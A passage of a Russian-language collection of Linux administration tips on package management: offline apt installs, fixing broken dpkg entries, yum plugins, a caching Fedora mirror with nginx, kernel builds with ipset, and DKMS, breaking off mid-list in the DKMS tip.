    Столкнулся с вопросом: как установить программу в debian/ubuntu без интернета.
    Дело в том, для переноса уже установленных программ используют aptoncd, который
    делает мини-репозиторий из кэша пакетов. Но как быть если кэш чистился и в нем
    лежат не все необходимые пакеты? Или необходимо принести программу на ubuntu а
    на компьютере стоит Debian ? Да и архитектур много.
    
    Для получения пакетов со всеми зависимостями для установки на конкретную машину
    нам понадобится файл "/var/lib/dpkg/status" с исходной машины (на которую несем
    пакеты для установки). В нем содержится список установленных пакетов и их
    состояние. На целевой системе не должно быть пакетов, установленных с ошибками
    иначе apt откажется работать.
    
    Если нужно использовать альтернативный sources.list, то его следует создать.
    Затем создаем директорию, где будет наш кэш и директорию partial в ней. Далее
    дело техники.
    
    Получаем список пакетов из sources.list:
    
       sudo apt-get -o Dir::State::status='наш файл status' -o Dir::Cache::archives="куда кладем пакеты" \
         -o Dir::Etc::sourcelist="файл sources.list" -o APT::Architecture="архитектура" update
    
    Создаем кэш:
    
       sudo apt-get -d -o Dir::State::status='наш файл status' -o Dir::Cache::archives="куда кладем пакеты" \
         -o Dir::Etc::sourcelist="файл sources.list" -o APT::Architecture="архитектура" install <нужные пакеты>
    
    В результате в подготовленной директории появятся все пакеты, которые
    необходимы для установки указанных пакетов на нужную нам машину, которые мы
    определяем в мини-репозиторий с помощью aptoncd.
    
     
    ----* Восстановление после неудачной установки deb-пакета (доп. ссылка 1) (доп. ссылка 2)   Автор: Delayer  [комментарии]
     
    Ниже инструкция по удалению некорректно собранного deb-пакета, если после
    попытки его удаления dpkg вываливается с ошибкой.
    
    Удаляем связанную с пакетом информацию (допустим пакет имеет имя package-name)
    
        cd /var/lib/dpkg/info
        rm package-name.*
    
    Открываем с правами администратора в любимом текстовом редакторе файл
    /var/lib/dpkg/status и удаляем секцию с упоминанием удаляемого пакета, имеющую
    примерно следующее содержание:
    
        Package: package-name
        Status: install ok installed
        Priority: extra
        Section: alien
        Installed-Size: 8440
        Maintainer: root
    
        Architecture: amd64
    
        Version: v4.0rc9-999
    
        Depends: blablabla
    
        Conffiles:
        Description: blahblahblah
         .
    Удаляем следы остаточных конфликтов выполнив: 
    
       apt-get -f install
    
     
    ----* Защита пакетов, установленных из определенного Yum репозитория (доп. ссылка 1)   [комментарии]
     
    Для того, чтобы гарантировать, что пакеты, установленные в CentOS / RHEL из
    определенного внешнего Yum-репозитория не будут переустановлены/обновлены при
    появлении более новых версий подобных пакетов в других репозиториях можно
    использовать плагин yum-protectbase.
    
    Устанавливаем плагин:
    
       yum install yum-protectbase 
    
    Активируем плагин, добавив в /etc/yum/pluginconf.d/protectbase.conf
    
       [main]
       enabled = 1
    
    Находим репозиторий, который нужно защитить в директории /etc/yum.repos.d и
    добавляем в конфигурацию опцию
    
       protect = 1
    
    Например, для репозитория epel в файле /etc/yum.repos.d/epel.repo меняем:
    
       [epel]
       name=Extra Packages for Enterprise Linux 5 - $basearch
       #baseurl=http://download.fedoraproject.org/pub/epel/5/$basearch
       mirrorlist=http://mirrors.fedoraproject.org/mirrorlist?repo=epel- 5&arch=$basearch
       failovermethod=priority
       enabled=1
       gpgcheck=1
       gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL
       protect = 1
    
     
    ----* Упрощение удаления группы пакетов в Aptitude, через использования меток (доп. ссылка 1)   Автор: jetxee  [комментарии]
     
    Очень полезная возможность в aptitude - пользовательские метки для выбранных пакетов.
    
    Например, нужно поставить какой-то набор пакетов, чтобы собрать определенную
    программу из исходных текстов,
    а затем удалить пакеты, установленные только для сборки.
    
    При установке помечаем выбранные пакеты какой-то своей меткой (builddeps в моём примере):
    
       sudo aptitude install --add-user-tag builddeps libчто-то-dev libчто-то-ещё-dev ...
    
    А потом, когда эти пакеты больше не требуются, их удаляем, выбрав по той же метке:
    
       sudo aptitude purge '?user-tag(builddeps)'
    
    Поисковый шаблон ?user-tag(метка) можно использовать совместно со всеми другими
    поисковыми шаблонами.
    Присваивать метки можно не только при установке, но и во многих других операциях.
    
     
    ----* Удаление неиспользуемых пакетов в Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    Для чистки системы от оставшихся после удаления пакетов, неудаленных
    зависимостей, можно использовать программу deborphan.
    По умолчанию deborphan осуществляет поиск неиспользуемых библиотек, но можно
    указать расширить область охвата на
    файлы с данными, dev-пакеты и т.п.
    
    Устанавливаем deborphan
       apt-get install deborphan
    
    Выводим все неиспользуемые библиотеки:
       deborphan > /tmp/rm_list.txt
    
    Выводим неиспользуемые dev-пакеты:
       deborphan --guess-dev >> /tmp/rm_list.txt
    
    Проверяем /tmp/rm_list.txt на наличие ложных срабатываний, убираем лишнее.
    
    Удаляем неиспользуемые пакеты:
       cat /tmp/rm_list.txt | xargs apt-get -y remove purge
    
    Посмотреть все неиспользуемые пакеты, какие удалось найти (в выводе оказалось
    много нужных пакетов):
       deborphan --guess-all
    
     
    ----* Настройка установки обновлений с исправлением проблем безопасности в RHEL/CentOS (доп. ссылка 1)   [комментарии]
     
    Плагин yum-security позволяет использовать в yum команды list-security и
    info-security, а также опции
    "--security", "--cve", "--bz" и "--advisory" для фильтрации исправлений проблем
    безопасности из общего массива обновлений.
    
    Устанавливаем плагин:
    
       # yum install yum-security
    
    Выводим список доступных обновлений, в которых непосредственно исправлены уязвимости:
    
       # yum list-security
    
    Для вывода всех связанных с безопасностью обновлений (с учетом зависимостей):
    
       # yum --security check-update
    
    Для вывода всех сообщений о проблемах, отмеченных в bugzilla:
    
       # yum list-security bugzillas
    
    Вывод информации об исправлениях, связанных с уведомлением о наличии уязвимостей RHSA-2009:1148-1:
    
       # yum info-security RHSA-2009:1148-1
    
    Вывод списка пакетов в которых устранены заданные ошибки отмеченные в Bugzilla, CVE и RHSA:
    
       # yum --bz 3595 --cve CVE-2009-1890 --advisory RHSA-2009:1148-1 info updates
    
    Установка только обновлений, связанных с безопасностью:
    
       # yum update --security
    
     
    ----* Установка ненайденного ключа для PPA репозиториев Ubuntu (доп. ссылка 1)   Автор: silverghost  [комментарии]
     
    Если система ругается, что не найден ключ репозитория:
    
       W: Ошибка: http://ppa.launchpad.net intrepid Release: Следующие подписи не могут быть проверены, 
       так как недоступен открытый ключ: NO_PUBKEY 5A9BF3BA4E5E17B5
    
    Это легко исправить двумя командами:
    
       gpg --keyserver keyserver.ubuntu.com --recv 5A9BF3BA4E5E17B5
       gpg --export --armor 5A9BF3BA4E5E17B5 | sudo apt-key add -
    
     
    ----* Как настроить кеширующий репозиторий для Fedora с помощью nginx   Автор: fb769  [комментарии]
     
    Устанавливаем необходимые пакеты
    
       yum install nginx yum-utils
    
    правим конфиг /etc/nginx/nginx.conf перед последней закрыющейся } дописываем
    
       include /etc/nginx/vh/*;
    
    создаем каталог
    
       mkdir /etc/nginx/vh
    
    а в нем файл repocache.local следующего содержания
    
        server {
            listen                          80;
            server_name                     repocache.local;
    
            location /pub/fedora {
                    autoindex               on;
                    root                    /home/repocache;
                    error_page              404 = @fetch_yandex;
            }
    
            location / {
                    autoindex               on;
                    root                    /home/repocache;
                    error_page              404 = @fetch_yandex;
            }
    
            location @fetch_yandex {
                    internal;
    
                    rewrite  ^/pub(.*)$  /$1  break;
    
                    proxy_pass              http://mirror.yandex.ru;
                    proxy_store             on;
                    proxy_store_access      user:rw  group:rw  all:r;
                    proxy_temp_path         /home/repocache/temp;
    
                    root                    /home/repocache/pub;
            }
       }
    
    создаем каталоги 
    
       mkdir /home/repocache
       mkdir /home/repocache/bin
       mkdir /home/repocache/pub
       mkdir /home/repocache/temp
       chown -R nginx:nginx /home/repocache
    
    в каталог /home/repocache помещаем скрипт clean.sh
    
    
        #!/bin/bash
    
        for f in $@;
        do
            echo $f
            for ff in `repomanage --old $f`;
            do
                rm -f $ff
            done
            rm -f $f/repodata/*
        done
    
    и repocache.sh
    
       #!/bin/bash
    
       find /home/repocache/pub -type d -regex .*/updates/.*/i386 -exec /home/repocache/bin/clean.sh {} +
       find /home/repocache/pub -type d -regex .*/updates/.*/x86_64 -exec /home/repocache/bin/clean.sh {} +
    
       rm -f /home/repocache/temp/*
    
    
    
    
    
    
    
    
    
    
    
       #!/bin/bash
    
       for f in `repomanage --old $1`;
       do
           echo $f
           rm -f $f
       done
    
       rm -f $1repodata/*
    
    и repocache.sh
    
       #!/bin/bash
    
       path_to_repo_dir="/home/repocache/pub/"
    
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/linux/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/linux/updates/11/x86_64/
    
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/free/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/free/fedora/updates/11/x86_64/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/nonfree/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/nonfree/fedora/updates/11/x86_64/
    
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/fixes/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/fixes/fedora/updates/11/x86_64/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/free/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/free/fedora/updates/11/x86_64/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/nonfree/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/nonfree/fedora/updates/11/x86_64/
    
       rm -f /home/repocache/temp/*
    
    Запускаем nginx
    
       service nginx start
    
    Добавляем в crontab запуск скрипта /home/repocache/bin/repocache.sh раз в сутки (ночью)
    Перенастраиваем локальные компы и на новый репозиторий и пробуем обновиться
    Удачи.
    
     
    ----* Установка Ubuntu Server с флеш-карты (доп. ссылка 1) (доп. ссылка 2)   Автор: xAnd  [комментарии]
     
    Установка десктопных дистрибутивов с USB-накопителей обычно не вызывает особых проблем, 
    UNetBootin есть и под Windows и под Linux, кроме того, есть ещё несколько способов изготовления 
    загрузочных "флешек". Для серверного дистрибутива Ubuntu этот способ не
    подходит. Программа установки запускается,
    всё проходит гладко до монтирования привода CD-ROM и на этом заканчивается. Ни
    ручное монтирование привода,
    ни использование стандартных драйверов 
    не помогает, что в общем-то естественно, CD-ROM&#8217;а-то нет. В итоге, выход
    нашёлся на официальном help&#8217;е Ubuntu.
    
    И вот, что в итоге нам понадобится для создания "правильно" установочной
    "флешки" для Ubuntu Server:
    
       1. Собственно сам ISO-образ Ubuntu Server
       2. initrd.gz (http://archive.ubuntu.com/ubuntu/dists/jaunty/main/installer-amd64/current/images/hd-media/initrd.gz)
       3. wmlinuz (http://archive.ubuntu.com/ubuntu/dists/jaunty/main/installer-amd64/current/images/hd-media/vmlinuz)
       4. Flash-накопитель от 1 Гб и больше
    
    Если будете ставить другую версию или другую целевую платформу, то ссылки будут другие.
    
    Ещё нам понадобится небольшой скрипт:
    
        # Replace "sdx" with "sdb" or whatever your flash drive is
        #   - If unsure which device is your flash drive then
        #     run "sudo fdisk -l | less" in order to identify it
    
        ISOIMAGE=ubuntu-9.04-server-amd64.iso
    
        sudo apt-get install syslinux mtools mbr
        echo "Use fdisk to manually create a 1GB bootable FAT16 partition."
        read -p "Press [Enter] to start the fdisk program..."
        # sudo fdisk /dev/sdx
        # sudo mkfs -t vfat /dev/sdx1
        sudo mkdir -p /mnt/flash
        sudo mount -t vfat /dev/sdx1 /mnt/flash
        sudo syslinux -s /dev/sdx1
        sudo mkdir -p /mnt/iso
        sudo mount -o loop $ISOIMAGE /mnt/iso
        sudo cp -R /mnt/iso/isolinux/* /mnt/flash
        sudo mv /mnt/flash/isolinux.cfg /mnt/flash/syslinux.cfg
        sudo mkdir -p /mnt/flash/install
        sudo cp vmlinuz /mnt/flash/install
        sudo cp initrd.gz /mnt/flash/install
        # clear pool directory, which is unnecessary for installation
        # that enables installation on 1G flash; remove if installing on
        # bigger devices and you run into problems
        sudo rm -rf /mnt/flash/pool
        sudo cp $ISOIMAGE /mnt/flash
        sudo install-mbr /dev/sdx
        sudo umount /mnt/flash
        sudo umount /mnt/iso
    
    Копируем его, вставляем в любимый текстовый редактор. Переменной $ISOIMAGE
    присваеваем имя ISO-образа,
    а все упоминания sdx заменяем на имя устройства флешки (обычно sdb, если у Вас
    один физический диск).
    Сохраняем полученный файл в директории и выполняем:
    
        chmod +x script
        sudo ./script
    
    Во время работы скрипта изначально был прописан запуск fdisk и переформатирование, 
    но для стандартных, уже отформатированных под FAT32 флешек, делать это не обязательно.
    
     
    ----* Установка ARM-сборки Debian GNU/Linux в qemu (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    Перед экспериментами по установке Linux на устройства на базе архитектуры ARM
    (например, Sharp Zaurus,
    Openmoko FreeRunner, планшетные ПК NOKIA, NAS на базе SoC Marvell) вначале
    стоит потренироваться в эмуляторе.
    Кроме того, окружение созданное в эмуляторе удобно использовать 
    для создания и сборки пакетов программ или модулей ядра.
    
    Ставим на рабочую машину qemu. Для debian/ubuntu:
    
       sudo apt-get install qemu
    
    Создаем дисковый образ размером 10Гб для виртуальной машины:
    
       qemu-img create -f qcow hda.img 10G 
    
    Загружаем ядро, initrd и инсталлятор Debian для архитектуры ARM:
    
       wget http://people.debian.org/~aurel32/arm-versatile/vmlinuz-2.6.18-6-versatile 
       wget http://people.debian.org/~aurel32/arm-versatile/initrd.img-2.6.18-6-versatile 
       wget http://ftp.de.debian.org/debian/dists/etch/main/installer-arm/current/images/rpc/netboot/initrd.gz 
    
    Загружаем инсталлятор и устанавливаем Debian по сети, следуя инструкциям программы установки:
    
       qemu-system-arm -M versatilepb -kernel vmlinuz-2.6.18-6-versatile -initrd initrd.gz -hda hda.img -append "root=/dev/ram" 
    
    Запускаем установленную систему:
    
       qemu-system-arm -M versatilepb -kernel vmlinuz-2.6.18-6-versatile -initrd initrd.img-2.6.18-6-versatile \
          -hda hda.img -append "root=/dev/sda1"
    
    Устанавливаем дополнительные программы, например, gcc:
    
       apt-get install gcc
    
    Проверяем:
    
       gcc -dumpmachine
       "arm-linux-gnu"
    
     
    ----* Использование apt-p2p для ускорения обновления Ubuntu (доп. ссылка 1)   [комментарии]
     
    Приближается выход релиза Ubuntu 9.04, в день которого из-за перегрузки зеркал
    могут наблюдаться проблемы со скоростью загрузки обновлений.
    Для оптимизиации процесса предлагается задействовать apt-прокси, организующий
    загрузку данных по принципу P2P сетей.
    
    Устанавливаем apt-p2p:
    
       sudo apt-get install apt-p2p
    
    Правим /etc/apt/sources.list (добавляем "localhost:9977" после "http://"):
    
       deb http://localhost:9977/archive.canonical.com/ubuntu hardy partner
       deb-src http://localhost:9977/archive.canonical.com/ubuntu hardy partner
       deb http://localhost:9977/*mirror-address*/ubuntu/ hardy main universe restricted multiverse
       deb-src http://localhost:9977/*mirror-address*/ubuntu/ hardy main universe restricted multiverse
    
    Обновляем список пакетов:
    
       sudo apt-get update
    
    Запускаем процесс обновления Ubuntu 8.10 до версии 9.04
    
       sudo update-manager -d
    
    Открываем в браузере  http://localhost:9977 и смотрим информацию о скорости
    загрузки и другую статистику
    
     
    ----* Добавление поддержки IP sets и пересборка ядра в Debian GNU/Linux (доп. ссылка 1)   Автор: sanmai  [комментарии]
     
    Настроим IP sets (http://ipset.netfilter.org/) в Debian.  Ipset позволяет использовать 
    большие таблицы IP и MAC адресов, подсетей номеров портов совместно с iptables
    (подключение через одно
    правило, в таблице используется хэширование). Возможно быстрое обновление списка целиком. 
    
    Например:
       ipset -N servers ipmap --network 192.168.0.0/16
       ipset -A servers 192.168.0.1
       iptables -A FORWARD -m set --set servers dst,dst -j ACCEPT
    
    Ставим исходные тексты ядра и устанавливаем необходимые для сборки пакеты:
    
       # apt-get install kernel-package libncurses5-dev fakeroot
    
       /usr/src# REV=`date +%F`
       /usr/src# KV=2.6.29
    
       /usr/src# wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-${KV}.tar.bz2 
       /usr/src# wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-${KV}.tar.bz2.sign
       /usr/src# gpg --verify linux-${KV}.tar.bz2.sign
    
       /usr/src# tar xvjf linux-${KV}.tar.bz2
       /usr/src# ln -s linux-${KV} linux
    
    Устанавливаем патчи ipset:
    
       # cd /usr/src/
       src # aptitude install git-core ipset
       src # git clone git://git.netfilter.org/ipset.git
       src # cd ipset/
       ipset # make KERNEL_DIR=/usr/src/linux patch_kernel
       cd kernel; ./patch_kernel /usr/src/linux
    
    Собираем ядро:
    
       ipset # cd /usr/src/linux
       /usr/src/linux# make-kpkg clean
       /usr/src/linux# make menuconfig
       /usr/src/linux# cp .config ~/
    
    Отвечаем yes на все что нам нужно.
    
    Начинаем непосредственно компиляцию:
    
       /usr/src/linux# fakeroot make-kpkg --revision=${REV} kernel_image
    
    Пьем чай. Спокойно. Оно заканчивается:
    
       dpkg --build /usr/src/linux/debian/linux-image-${KV} ..
       dpkg-deb: building package `linux-image-${KV}' in `../linux-image-${KV}_${REV}_amd64.deb'.
       make[2]: Leaving directory `/usr/src/linux-${KV}'
       make[1]: Leaving directory `/usr/src/linux-${KV}'
    
       /usr/src/linux# 
       /usr/src/linux# dpkg -i ../linux-image-${KV}_${REV}_amd64.deb
    
    Если не получилось, удаляем и компилируем с той же ${REV}:
    
       /usr/src/linux# dpkg -r linux-image-${KV}
       /usr/src/linux# REV=`date +%F`
       /usr/src/linux# rm -fr debian/
       /usr/src/linux# make menuconfig 
    
    И так далее как было выше.
    
    После установки обновляем конфиг grub:
    
       /usr/src/linux# update-grub 
    
       Searching for GRUB installation directory ... found: /boot/grub
       Searching for default file ... found: /boot/grub/default
       Testing for an existing GRUB menu.lst file ... found: /boot/grub/menu.lst
       Searching for splash image ... none found, skipping ...
       Found kernel: /vmlinuz-${REV}
       Updating /boot/grub/menu.lst ... done
    
    Обязательно проверяем и перезагружаемся:
    
       /usr/src/linux# cat /boot/grub/menu.lst
       /usr/src/linux# reboot
    
    Заключительный тест:
    
       ~ $ ping server
    
    Debian 5.0 (Lenny и ipset).
    
    
    
    Дополнение от pavel_simple:
    
    В Debian 5.0 (Lenny), модулей ipset как таковых нет. Вместо этого имеется всё необходимое,
    чтобы ими можно было воспользоваться.
    
    1. устанавливаем пакеты.
    
       #apt-get build-dep netfilter-extensions-source
       #apg-get install netfilter-extensions-source
       #cd /usr/src
       #tar xjf netfilter-extensions.tar.bz2
    
    2. собираем и устанавливаем
    
       #m-a a-i netfilter-extension
    
    3. пользумся
    
     
    ----* Резервная копия rpm пакетов, обновляющихся через yum. (доп. ссылка 1)   Автор: Romik_g  [комментарии]
     
    Если добавить в секцию "[main"] файла /etc/yum.conf опцию
    
       tsflags=repackage
    
    то резервные копии rpm пакетов, которые обновились, вместе с конфигурационными файлами,
    будут сохраняться в директории /var/spool/repackage/. Не забывайте следить за
    свободным местом на диске.
    Подробности в man yum.conf и man rpm.
    
    Сохранение изменений файлов конфигурации работает, только если вы держите конфигурационные файлы 
    в стандартных для конкретных rpm пакетов местах.
    
     
    ----* Как вручную распаковать RPM пакет из последних версий AltLinux и OpenSUSE   [комментарии]
     
    Для новых версий AltLinux и OpenSUSE не пройдет стандартный метод 
    
       rpm2cpio packet.rpm | cpio -idmuv --no-absolute-filenames
    
    cpio выдаст ошибку, а при сохранении в файл и проверке утилитой file будут
    определены бинарные данные.
    
    Дело в том, что AltLinux и OpenSUSE перешли на использование алгоритма LZMA для
    сжатия cpio архива внутри RPM,
    
    поэтому для ручного раскрытия дополнительно нужно использовать утилиту lzma:
    
       rpm2cpio packet.rpm |lzma -d | cpio -idmuv --no-absolute-filenames
    
    
    Пакет с консольной утилитой lzma можно загрузить с сайта http://tukaani.org/lzma/ или 
    поставить из пакетов (lzma или lzma-utils).
    
     
    ----* Использование apt-zip и yumdownloader для загрузки обновлений с другой машины (доп. ссылка 1)   [комментарии]
     
    apt-zip позволяет минимизировать ручные операции при обновлении Debian/Ubuntu 
    на машине с медленным соединением к сети.
    
    Устанавливаем apt-zip:
       apt-get install apt-zip
    
    В /etc/apt/apt-zip.conf определяем носитель для переноса пакетов между машинами.
    Например, меняем "MEDIUM=/media/zip" на "MEDIUM=/media/disk"
    
    Обновляем кеш пакетов:
       apt-get update
    
    Записываем на Flash диск примонтированный как /media/disk список пакетов для обновления:
    
       apt-zip-list
    
    На Flash будет записан shell скрипт (fetch-script-wget-имя_машины ) для загрузки пакетов 
    при помощи утилиты wget. На машине с высокоскоростным линком достаточно просто
    запустить этот скрипт.
    
    Тип обновления задается в /etc/apt/apt-zip.conf через переменную DEFAULT_APTGETACTION:
    
    upgrade - обновление уже установленных пакетов из репозиториев, определенных в /etc/apt/sources.list
    dselect-upgrade - от upgrade отличается использованием dselect
    dist-upgrade - поддерживает расширенный разрешения конфликтов, больше подходит
    для выполнения обновления
    всего дистрибутива до более новой версии.
    
    После того как необходимые пакеты будут скопированы на Flash, на машине на которой 
    нужно произвести обновление необходимо выполнить:
    
       apt-zip-inst
    
    Для запроса установки новых дополнительных пакетов можно использовать:
    
       apt-zip-list -a upgrade -p openoffice.org,digikam 
       ...
       apt-zip-inst -a upgrade -p openoffice.org,digikam
    
    --------------
    
    Рекомендации от _selivan_. Если дома есть dial-up, создаем скрипт upd.sh:
    
       #!/bin/bash
       # Usage: get_soft_links.sh <package1> ... <packageN>
       URLS=soft`date +%F_%H.%M`-urls.txt
       LIST=soft`date +%F_%H.%M`-list.txt
       DIR=~/links
       # get links
       apt-get --print-uris -y -qq dist-upgrade | cut -d\' -f2 >  $DIR/$URLS
       apt-get --print-uris -y -qq install $@ | cut -d\' -f2 >> $DIR/$URLS
       # print names of requested packages to file
       echo $@ > $DIR/$LIST
       #convert unix newline format to windows for windows download managers
       sed -i -e 's/$/\r/' $DIR/$URLS
    
    
    Если диалапа нет - на один шаг больше:
    
       apt-get --print-uris update
       ...
    
    --------------
    
    Рекомендации от sHaggY_caT по использованию yumdownloader в Fedora, Centos, ASP
    и других Red Hat-подобных дистрибутивах:
    
    Ставим yum-utils.
    Для генерации листа закачки можно использовать скрипт 
    (первый аргумент название пакета, второй, имя выходного файла):
    
       #!/bin/sh
       yumdownloader --urls $1 | sed '1,2d' > /media/disk/$2.txt
    
    Удаление первых двух строк поставлено, так как там служебная информация от плагинов и yum. 
    К сожалению, yum не разделяет вывод служебной информации и результат на потоки,
    по этому, сделать 2>/dev/null нельзя
    
    Что касается машины совсем без интернета, в тут возможность подобная "apt-get
    --print-uris update" не получится.
    Можно только сгенерировать список для загрузки с ключем "-C":
    
       yumdownloader -C --urls пакет
    
    Преварительно нужно все-таки обновить кэш с помощью "yum update".
    
    В основанных на Red Hat дистрибутивах скаченные пакеты можно либо с помощью yum либо с помощью rpm:
    
       yum localinstall название_файлов_пакетов_через_пробел
       rpm -Uhv название_файлов_пакетов_через_пробел
    
    Yum скачает недостающие зависимости. Если список был сгенерирован верно, то это не нужно, 
    и необходимо использовать rpm.
    
    Две полезные команды, которые установят все rpm-пакеты из текущей директории:
    
       ls -l | grep rpm | awk '{print $9}' | xargs yum localinstall
       ls -l | grep rpm | awk '{print $9}' | xargs rpm -Uhv
    
    --------------
    
    Как заставить apt-get установить вручную загруженные пакеты: http://www.opennet.dev/tips/info/1707.shtml
    
    Для загрузки обновлений на внешней машине с Windows можно использовать Keryx
    (http://www.opennet.dev/opennews/art.shtml?num=19650)
    
    В графическом интерфейсе synaptic есть возможность сгенерировать скрипт для
    загрузки выбранных пакетов
    с их последующей установкой: "генерировать скрипт закачки пакетов" и "добавить закаченные пакеты".
    
     
    ----* Инструкция по обновлению Fedora 9 до Fedora 10  (доп. ссылка 1)   [комментарии]
     
    Первым шагом обновляем базу пакетов текущего релиза:
    
       yum -y update
    
    Чистим кэш yum:
    
       yum clean all
    
    
    Устанавливаем пакет preupdate:
    
        yum install preupgrade
    
    Запускаем GUI интерфейс для проведения обновления (выбираем "Fedora 10"):
    
        preupgrade
    
    На сервере без X window запускаем консольный вариант:
    
        preupgrade-cli "Fedora 10 (Cambridge)"
    
    
    Вариант 2. Используем средсва yum.
    
    Устанавливаем RPM-пакеты с параметрами нового релиза:
    
       rpm -Uvh ftp://download.fedora.redhat.com/pub/fedora/linux/releases/10/Fedora/i386/os/Packages/fedora-release-*.noarch.rpm
    
    Для архитектуры x86_64 меняем в пути "/i386/" на "/x86_64/"
    
    Инициируем процесс обновления:
    
       yum upgrade
    
    При использовании репозитория RPMFusion, его нужно обновить отдельно:
    
       rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm \
       http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm 
    
       yum -y update
    
     
    ----* Общий yum cache для нескольких машин (доп. ссылка 1)   Автор: Жольнай Кирилл  [комментарии]
     
    Берем самый yum-активный из серверов локальной сети, и расшариваем /var/cache/yum по NFS:
    
    В /etc/exports добавляем:
       /var/cache/yum  192.168.0.212/255.255.255.0(rw)
    
    Перезапускаем NFS:
       service nfs restart
    
    Включаем хранение кэша в /etc/yum.conf как на сервере, так и на клиенте:
    В /etc/yum.conf меняем keepcache=0 на keepcache=1:
       sed -i 's/keepcache=0/keepcache=1/' /etc/yum.conf
    
    На клиентской машине монтируем нужные нам папки, в /etc/fstab добавляем:
    
       # yum common cache
       192.168.0.231:/var/cache/yum/base/packages       /var/cache/yum/base/packages nfs
       192.168.0.231:/var/cache/yum/updates/packages    /var/cache/yum/updates/packages nfs
       192.168.0.231:/var/cache/yum/addons/packages     /var/cache/addons/base/packages nfs
       192.168.0.231:/var/cache/yum/centosplus/packages /var/cache/addons/centosplus/packages nfs
       192.168.0.231:/var/cache/yum/extras/packages     /var/cache/addons/extras/packages nfs
    
    И монтируем их:
       mount -a
    
    Если ему каких-нибудь папок не хватит - создайте: 
       mkdir -p /var/cache/yum/{base,updates,addons,centosplus,extras}/packages
    
    Все, пакеты теперь будут скачиваться один раз. 
    В случае недоступности сервера ничего страшного не произойдет - просто пакет скачается.
    
     
    ----* Использование DKMS для перестроения драйверов без их пересборки при обновлении Linux ядра   [комментарии]
     
    В Ubuntu 8.10 интегрирована технология DKMS (Dynamic Kernel Module Support, http://linux.dell.com/dkms),
    позволяющая автоматически перестраивать текущие модули ядра с драйверами
    устройств после обновления версии ядра.
    
    Пример 1. Драйвер mad-wifi на ноутбуке Samsung R25 с wifi-картой на чипсете Atheros AR242x.
    Оригинал заметки: http://blog.antage.name/2008/11/atheros-wifi-dkms.html
    
    1. Ставим DKMS:
    
          sudo apt-get install dkms
    
    2. Качаем и распаковываем исходники драйвера:
    
          cd
          wget http://snapshots.madwifi-project.org/madwifi-hal-0.10.5.6/madwifi-hal-0.10.5.6-r3875-20081105.tar.gz
          sudo tar xzf madwifi-hal-0.10.5.6-r3875-20081105.tar.gz -C /usr/src/
    
    3. Создаем конфиг модуля в файле /usr/src/madwifi-hal-0.10.5.6-r3875-20081105/dkms.conf:
    
          PACKAGE_NAME="madwifi-hal"
          PACKAGE_VERSION="0.10.5.6-r3875-20081105"
    
          AUTOINSTALL="yes"
    
          BUILT_MODULE_NAME[0]="ath_pci"
          BUILT_MODULE_LOCATION[0]="ath/"
          DEST_MODULE_LOCATION[0]="/kernel/net/"
    
          BUILT_MODULE_NAME[1]="ath_hal"
          BUILT_MODULE_LOCATION[1]="ath_hal/"
          DEST_MODULE_LOCATION[1]="/kernel/net/"
    
          BUILT_MODULE_NAME[2]="ath_rate_sample"
          BUILT_MODULE_LOCATION[2]="ath_rate/sample/"
          DEST_MODULE_LOCATION[2]="/kernel/net/"
    
          BUILT_MODULE_NAME[3]="ath_rate_minstrel"
          BUILT_MODULE_LOCATION[3]="ath_rate/minstrel/"
          DEST_MODULE_LOCATION[3]="/kernel/net/"
    
          BUILT_MODULE_NAME[4]="ath_rate_amrr"
          BUILT_MODULE_LOCATION[4]="ath_rate/amrr/"
          DEST_MODULE_LOCATION[4]="/kernel/net/"
    
          BUILT_MODULE_NAME[5]="ath_rate_onoe"
          BUILT_MODULE_LOCATION[5]="ath_rate/onoe/"
          DEST_MODULE_LOCATION[5]="/kernel/net/"
    
          BUILT_MODULE_NAME[6]="wlan"
          BUILT_MODULE_LOCATION[6]="net80211/"
          DEST_MODULE_LOCATION[6]="/kernel/net/"
    
          BUILT_MODULE_NAME[7]="wlan_scan_ap"
          BUILT_MODULE_LOCATION[7]="net80211/"
          DEST_MODULE_LOCATION[7]="/kernel/net/"
    
          BUILT_MODULE_NAME[8]="wlan_scan_sta"
          BUILT_MODULE_LOCATION[8]="net80211/"
          DEST_MODULE_LOCATION[8]="/kernel/net/"
    
          BUILT_MODULE_NAME[9]="wlan_tkip"
          BUILT_MODULE_LOCATION[9]="net80211/"
          DEST_MODULE_LOCATION[9]="/kernel/net/"
    
          BUILT_MODULE_NAME[10]="wlan_xauth"
          BUILT_MODULE_LOCATION[10]="net80211/"
          DEST_MODULE_LOCATION[10]="/kernel/net/"
    
          BUILT_MODULE_NAME[11]="wlan_wep"
          BUILT_MODULE_LOCATION[11]="net80211/"
          DEST_MODULE_LOCATION[11]="/kernel/net/"
    
          BUILT_MODULE_NAME[12]="wlan_ccmp"
          BUILT_MODULE_LOCATION[12]="net80211/"
          DEST_MODULE_LOCATION[12]="/kernel/net/"
    
          BUILT_MODULE_NAME[13]="wlan_acl"
          BUILT_MODULE_LOCATION[13]="net80211/"
          DEST_MODULE_LOCATION[13]="/kernel/net/"
    
    4. Добавлем драйвер в DKMS:
    
